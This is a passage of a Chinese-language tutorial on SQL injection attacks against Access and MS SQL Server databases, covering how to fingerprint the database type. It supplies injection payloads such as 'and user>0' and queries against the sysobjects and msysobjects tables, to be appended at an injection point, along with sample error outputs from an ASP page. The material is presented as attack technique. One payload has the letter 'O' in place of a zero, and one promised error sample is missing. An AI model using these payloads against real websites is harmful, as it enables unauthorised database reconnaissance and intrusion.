Access
数据库
注入攻击基本技术
1. 爆出数据库类型
SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型(后面会给大家讲解如何突破IIS提示被关闭)。
1.1 内置变量爆数据库类型
“User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。
and user>0
该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。
如果提示如下出错信息
Microsoft OLE DB Provider for SQL Server 错误'80040e21'
将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
/home/yz/yu/show.asp
则可以判断是MS SQL数据库。如果采用的是Access数据库的话,那么提示信息则会如下
1.2 内置数据库表爆数据库类型
如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。
and (select count(*) from sysobjects)>=O
and (select count(*) from msysobjects)>=O
Access存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是Access,会返回如下提示错误信息(图5)。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
/home/yz/yu/show.asp, 行 8
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet数据库引擎找不到输入表或查询'sysobjects'。确定它是否存在,以及它的名称的拼写是否正确。
在MS SQL Serve:存在系统表[sysobjects],不存在[msysobjects]系统表,因此会返回如下错误提示信息为(图6).
Microsoft OLE DB Provider for SQL Server 错误 '80040e37'
对象名'msysobjects' 无效。
/home/yz/yu/show.asp, 行 8